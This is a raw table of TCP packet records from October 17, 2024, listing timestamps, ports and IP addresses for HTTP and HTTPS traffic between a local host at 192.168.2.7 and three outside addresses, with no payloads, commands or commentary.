Oct 17, 2024 18:40:15.077864885 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.077877998 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.077972889 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.077975035 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.077986002 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.078372955 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.128379107 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128400087 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128413916 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128565073 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128577948 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128588915 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128597021 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.128602028 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128665924 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.128854036 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128865957 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128878117 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128895044 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.128971100 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.129158020 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129170895 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129192114 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129204988 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129215956 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129225969 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.129228115 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129240036 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.129240990 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129251957 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129264116 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129265070 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.129286051 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129301071 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.129337072 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.129762888 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129822016 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.129939079 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129951000 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129964113 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129976034 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129987955 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.129995108 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.130003929 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130016088 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130028963 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130034924 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.130040884 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130052090 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130058050 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.130067110 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130086899 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.130112886 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.130814075 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130826950 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130839109 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130851030 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130861998 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130872965 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130886078 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.130892992 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130898952 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130909920 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130909920 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.130916119 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130922079 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130927086 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130933046 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.130983114 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.131026983 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.131732941 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131746054 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131761074 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131772995 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131786108 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131797075 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.131798029 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131808996 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131822109 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131829977 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.131833076 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131844044 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131855011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131870031 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131882906 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131892920 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.131951094 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.132636070 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132647038 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132658005 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132671118 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132682085 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132694006 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132704973 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.132714033 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132725954 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132728100 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.132738113 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132752895 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.132755041 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132761955 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132767916 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132772923 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.132874966 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.133434057 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.133451939 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.133461952 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:15.133505106 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:15.133517981 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:16.804327011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:16.804404974 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:17.229008913 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:17.229064941 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:17.229253054 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:17.230526924 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:17.230540037 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:17.431638956 CEST	50049	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:17.432094097 CEST	50052	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:17.437258005 CEST	80	50052	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:17.437463045 CEST	50052	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:17.437690973 CEST	50052	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:17.438047886 CEST	80	50049	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:17.438107967 CEST	50049	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:17.442589998 CEST	80	50052	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:18.182929993 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.183070898 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.185028076 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.185038090 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.185305119 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.226999044 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.229352951 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.275403976 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.391024113 CEST	80	50052	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:18.391410112 CEST	50052	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:18.395569086 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:18.395919085 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:18.400439978 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:18.401079893 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:18.405533075 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:18.405801058 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:18.411066055 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:18.798712015 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.798741102 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.798787117 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.798804045 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.798835039 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.804181099 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.804243088 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.804465055 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.808485031 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.808545113 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.808574915 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.808583021 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:18.808662891 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.808882952 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.808882952 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.808911085 CEST	50051	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:18.808929920 CEST	443	50051	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:19.339066982 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.339112997 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.339131117 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.339178085 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.339185953 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.339217901 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.339260101 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.339278936 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.339301109 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.339327097 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.339349031 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.339456081 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.339476109 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.339498043 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.339502096 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.339523077 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.339545965 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.339823008 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.339873075 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.344173908 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.344228029 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.344320059 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.344393969 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.344451904 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.498853922 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.498884916 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.498930931 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.498954058 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.499037027 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.499095917 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.499130011 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.499136925 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.499195099 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.499258995 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.499280930 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.499320030 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.499346018 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.499743938 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.499809980 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.499990940 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.500009060 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.500045061 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.500061989 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.500068903 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.500082016 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.500119925 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.500138998 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.500458956 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.500478029 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.500518084 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.500535011 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.619735003 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.619761944 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.619780064 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.619827986 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.619858027 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.619982958 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.620028973 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.620040894 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.620044947 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.620060921 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.620078087 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.620100021 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.620143890 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.620462894 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.620661974 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.620707035 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.620714903 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.620723009 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.620757103 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.620781898 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.659149885 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.659189939 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.659264088 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.660933018 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.660983086 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.661001921 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.661001921 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.661031961 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.661053896 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.741770029 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.741808891 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.741828918 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.741945982 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.741962910 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.741975069 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.742017984 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.742125034 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.742192030 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.742218971 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.742233992 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.742264986 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.742284060 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.742465019 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.742520094 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.742537975 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.742553949 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.742587090 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.742599010 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.780566931 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.780603886 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.781366110 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.781383038 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.781480074 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.781497955 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.782454014 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.861975908 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862010002 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862026930 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862042904 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.862061977 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.862162113 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862178087 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862230062 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.862344980 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862390041 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862405062 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.862406015 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862479925 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.862732887 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862781048 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.862816095 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862833023 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.862871885 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.862903118 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.862925053 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.863276005 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.908899069 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.908919096 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.908998966 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.909039974 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.909085989 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.909156084 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.909233093 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.983071089 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.983130932 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.983165026 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.983200073 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.983242989 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.983295918 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.983366966 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.983486891 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.983541012 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:19.983582973 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.983617067 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.983650923 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.983684063 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:19.983810902 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.022072077 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.022140026 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.022222996 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.022267103 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.022319078 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.022360086 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.022377014 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.022411108 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.022727013 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.022778988 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.022806883 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.022860050 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.022990942 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.023029089 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.023041964 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.023077965 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.104152918 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.104188919 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.104223013 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.104228973 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.104249001 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.104269028 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.104278088 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.104312897 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:20.104331017 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.104362011 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:20.104545116 CEST	80	50053	185.215.113.103	192.168.2.7
